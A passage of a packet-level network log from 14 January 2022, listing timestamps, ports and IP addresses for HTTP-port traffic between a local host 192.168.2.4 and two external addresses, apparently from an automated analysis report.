Jan 14, 2022 20:30:12.228580952 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.228585958 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.228594065 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.228611946 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.228625059 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.228655100 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.228723049 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.228735924 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.228751898 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.228765011 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.228782892 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.228809118 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.232310057 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.238825083 CET	80	49918	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.248358011 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.248382092 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.248398066 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.248413086 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.248428106 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.248471975 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.257411957 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.257499933 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.260127068 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.260132074 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.260160923 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.260174990 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.260188103 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.260200024 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.260202885 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.260222912 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.260241985 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.260256052 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.260263920 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.260281086 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.260292053 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.260297060 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.260301113 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.260315895 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.260328054 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.260364056 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.261584044 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.261605024 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.261621952 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.261629105 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.261674881 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.261708975 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.263204098 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.263223886 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.263237000 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.263248920 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.263262033 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.263274908 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.263278008 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.263297081 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.263461113 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.263474941 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.263485909 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.263499022 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.263523102 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.263547897 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.263674974 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.263686895 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.263731003 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.281984091 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.282419920 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.282439947 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.282453060 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.282464981 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.282478094 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.282494068 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.282510996 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.282550097 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.283229113 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.283241987 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.283258915 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.283308983 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.284996986 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.285011053 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.285099983 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.286922932 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.286936045 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.286956072 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.286967993 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.286981106 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.286995888 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.287004948 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.287050962 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.287075043 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.287086964 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.287103891 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.287116051 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.287127972 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.287137032 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.287174940 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.287265062 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.287277937 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.287295103 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.287307024 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.287318945 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.287328959 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.287334919 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.287348986 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.287384033 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.287552118 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.287564993 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.287580013 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.287622929 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.288321018 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.288333893 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.288408995 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.289918900 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.289932013 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.289993048 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.290007114 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.290023088 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.290021896 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.290035963 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.290050030 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.290057898 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.290066957 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.290079117 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.290105104 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.290164948 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.290178061 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.290224075 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.292315006 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.292331934 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.292344093 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.292388916 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.308476925 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.308502913 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.308584929 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.309669018 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.309694052 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.309726954 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.309751987 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.309753895 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.309767962 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.309789896 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.309789896 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.309807062 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.309827089 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.309844971 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.309874058 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.314059973 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.314110041 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.314126015 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.314147949 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.314172029 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.314186096 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.314192057 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.314204931 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.314212084 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.314234018 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.314237118 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.314256907 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.314270020 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.314270973 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.314295053 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.314310074 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.314310074 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.314327955 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.314347982 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.314347982 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.314368010 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.314382076 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.314388990 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.314409971 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.314434052 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.314450026 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.314450979 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.314471960 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.314486980 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.314491987 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.314512014 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.314519882 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.314534903 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.314553022 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.314557076 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.314589024 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.316571951 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.316595078 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.316643000 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.316741943 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.316761971 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.316895008 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.316955090 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.316999912 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.317020893 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.317038059 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.317039967 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.317054987 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.317066908 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.317255020 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.321739912 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.321772099 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.321834087 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.321841002 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.321877003 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.321902037 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.321923018 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.321954966 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.338294983 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.338326931 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.338351965 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.338367939 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.338390112 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.338413000 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.338429928 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.338430882 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.338450909 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.338469982 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.338476896 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.338499069 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.338501930 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.339756966 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.340545893 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.340572119 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.340672016 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.342042923 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.342066050 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.342113018 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.344363928 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.344386101 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.344410896 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.344429970 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.344455004 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.344463110 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.344468117 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.344499111 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.344521999 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.344526052 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.344544888 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.344564915 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.344589949 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.344590902 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.344610929 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.344638109 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.344660997 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.344680071 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.347637892 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.347671032 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.347690105 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.347712040 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.347733021 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.347743034 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.347755909 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.347779989 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.347807884 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.348825932 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.349014044 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.349083900 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.349267006 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.349299908 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.349318981 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.349339008 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.349363089 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.349363089 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.349375963 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.349395037 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.349397898 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.349414110 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.349432945 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.349436998 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.349452972 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.349473000 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.349473000 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.349494934 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.349503994 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.349581003 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.351834059 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.351867914 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.351893902 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.351913929 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.351934910 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.351938963 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.351958990 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.351963997 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.351988077 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.352008104 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.352030039 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.352035999 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.352056980 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.352065086 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.352076054 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.352093935 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.352102041 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.352117062 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.352137089 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.352140903 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.352155924 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.352175951 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.352180958 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.352195978 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.352210045 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.352221966 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.352241039 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.352286100 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.352902889 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.352930069 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.352950096 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.352967978 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.352987051 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.352993011 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.353008032 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.353019953 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.353028059 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.353043079 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.353049040 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.353070974 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.353080988 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.353091002 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.353113890 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.353122950 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.353127956 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.353149891 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.353168011 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.353174925 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.353216887 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.359798908 CET	80	49918	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.359915972 CET	49918	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.362245083 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.362277985 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.362297058 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.362315893 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.362332106 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.362337112 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.362364054 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.362369061 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.362385035 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.362390041 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.362406015 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.362423897 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.362426996 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.362452030 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.362467051 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.362488031 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.362488985 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.362509012 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.362519026 CET	49912	80	192.168.2.4	185.163.204.24
